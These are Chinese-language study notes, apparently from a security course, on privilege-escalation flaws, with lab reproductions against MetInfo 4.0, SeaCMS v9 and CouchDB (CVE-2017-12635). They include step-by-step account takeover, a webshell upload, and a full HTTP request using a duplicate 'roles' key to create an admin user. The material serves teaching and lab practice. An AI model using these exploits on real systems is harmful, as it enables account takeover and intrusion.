业务办理处-越权漏洞
之前跟着ms08067的大佬学习的时候,刚好写过相关笔记,还有幸发在该组织公众号上了,这里扒过来
前言:越权访问漏洞概念简析
”授权“与“验证”
了解越权访问的概念,首先要了解授权和验证的概念:授权是指网站赋予特定人对网站特定资源的读写权限。而验证是网站用于检查操作者是否真的可以对特定资源进行读写
“未授权访问”
未授权访问是指用户在没有通过认证授权的情况下,能够直接访问需要通过认证才能访问到的页面或文本信息。
那么,什么是越权漏洞?
由于没有对用户权限进行严格的判断,导致低权限的账号(比如普通用户)可以去完成高权限账号(比如超管)范围内的操作,如果能够成功操作,则称之为越权操作。越权漏洞形成的原因是后台使用了 不合理的权限校验规则导致的。
越权漏洞的产生原因
开发人员在对数据进行操作时对客户端请求的数据过分相信,遗漏了对于客户端权限的仔细判定。
越权漏洞常见位置
- 修改、重置、找回其他账户密码
- 查看、修改其他账户未公开的信息,例如个人资料、文件、数据、程序等
- 与账户关联的权限操作
越权访问漏洞的两大分类
越权漏洞主要分为水平越权和垂直越权两大类。
水平越权:同级别(权限)的用户或者同一角色的不同用户之间,可以越权访问、修改或者删除的非法操作。如果出现此漏洞,那么将可能会造成大批量数据泄露,严重的甚至会造成用户信息被恶意篡改。
例如两个不同的公司A和B,通过修改请求,公司A可以任意修改B公司的员工、部门、考勤等信息。
垂直越权:指使用权限低的用户可以访问权限较高的用户
垂直越权危害:
• 向上越权:普通用户可以执行管理员权限,比如发布文章、删除文章等操作。
• 向下越权:一个高级用户可以访问低级用户信息(暴露用户隐
例如同一个公司的职员A和经理B。显然他们在公司后台管理系统中账号的管理权限不同。垂直越权通过修改请求,职员A可以修改不在他管辖范围内的员工、考勤、工资等(自我加薪??)
关于如上介绍的总结话,偷我亲爱的来自MS08067团队的讲师一张图是再好不过了
越权访问漏洞实战课内复现
水平越权
metinfoV4.0越权漏洞复现
环境准备:
下载metinfoV4.0CMS源码进行网站搭建
- 下载地址:https://www.metinfo.cn/upload/file/update/MetInfo4.0.zip
- 其他版本下载地址:http://www.metinfo.cn/upload/file/update/MetInfox.x.x.zip(将x.x.x改成对应版本即可)
- 源码:MetInfo4.0.zip
下载后将源码解压至phpstudy的web根目录即可。
解压完毕后利用浏览器访问网站地址进入安装目录创建普通用户进行登录
登陆后进入修改基本信息的页面,随便修改一个密码,点击提交信息的同时上传
抓包修改useid为管理员id
成功修改管理员账号密码为123456,尝试登陆
成功登陆,在界面风格->模板管理->添加新模板处发现一处文件上传漏洞。将冰蝎木马压缩成zip文件成功上传
查看一下编辑模板参数,报错是在意料之中的,我们需要的是木马路径
使用冰蝎服务器端连接木马。成功执行
海洋cms v9 越权漏洞
环境准备
https://github.com/seacms/seacms-v9下载seacms9.0版本的源码。还是使用php部署,部署过程非常简单。注意php+mysql的版本一般就是一路绿灯。
复现该漏洞需要注册两个网站账号
1.test@test.com/1234562.ms08067/123456
漏洞复现
分别用chrome 和微软两个浏览器登陆这两个账号
通过抓包,获取ms08067用户的phpsessid为:df9jjuneuuqo5hgjjsid106km4
在另一账号test@test.com的修改密码操作上抓包,并将sessid修改为ms08067账号的sessid。尝试更改密码为123456789。放包,显示修改成功。
尝试使用新密码登陆ms08067账户,发现登陆成功。
垂直越权
Couchdb 垂直权限绕过漏洞(CVE-2017-12635)
漏洞描述
Apache CouchDB是一个开源数据库,专注于易用性和成为”完全拥抱web的数据库”。它是一个使用JSON作为存储格式,JavaScript作为查询语言,MapReduce和HTTP作为API的NoSQL数据库。应用广泛,如BBC用在其动态内容展示平台,Credit Suisse用在其内部的商品部门的市场框架,Meebo,用在其社交平台(web和应用程序)。
在2017年11月15日,CVE-2017-12635和CVE-2017-12636披露,CVE-2017-12636是一个任意命令执行漏洞,我们可以通过config api修改couchdb的配置query_server,这个配置项在设计、执行view的时候将被运行。
影响版本:小于 1.7.0 以及 小于 2.1.1
环境搭建
使用虚拟机安装docker,vulhub
cd vulhub/couchdb/CVE-2017-12635 #进入靶场目录docker-compose up -d #开启靶场docker ps #查看端口
一个小报错处理
p.s:运行命令docker-compose up -d
这里出现了一个报错。百度搜了一波,发现这是由于当前用户未加入docker组。解决方案是运行命令
sudo gpasswd -a ${USER} docker
然后退出当前用户比如切换为root,再次切换回原用户。然后执行docker-compose up -d就ok了。
漏洞原理分析
由于Erlang和JavaScript对JSON解析方式的不同,导致语句执行产生差异性(对于给定的键,Eralang解析器将存储两个值,但是JavaScript只存储第二个值)
如:Erlang:
jiffy:decode(“{“a”:”1″, “a”:”2″}”).
{[{<<“a”>>,<<“1”>>},{<<“a”>>,<<“2”>>}]}
JavaScript:
JSON.parse(“{“a”:”1″, “a”: “2”}”)
{a: “2”}
可以被利用于,非管理员用户赋予自身管理员身份权限。
参考文章:https://cloud.tencent.com/developer/article/1144778
漏洞复现
访问服务器ip:5984
并抓包将抓到的包发送给重发器(Repeater)并将发送数据改为如下(服务器IP地址为自己搭建的IP):
PUT /_users/org.couchdb.user:qaq HTTP/1.1Accept: /Host: 192.168.160.141:5984/Accept-Language: enUser-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:49.0) Gecko/20100101 Firefox/49.0Content-Type: application/jsonConnection: closeContent-Length: 101{"type": "user","name": "qaq","roles": ["_admin"],"password": "666666"}
返回403错误:{“error”:”forbidden”,”reason”:”Only _admin may set roles”}报错原因是只有管理员才能设置Role角色。通过增加一个roles字段数据包的方式绕过限制
PUT /_users/org.couchdb.user:qaq HTTP/1.1Accept: /Host: 192.168.160.141:5984/Accept-Language: enUser-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:49.0) Gecko/20100101 Firefox/49.0Content-Type: application/jsonConnection: closeContent-Length: 101{"type": "user","name": "qaq","roles": ["_admin"],"roles":[],"password": "666666"}
通过新创建的用户qaq/666666成功登录
复现完记得销毁环境哦~目录中执行命令
docker-compose down -v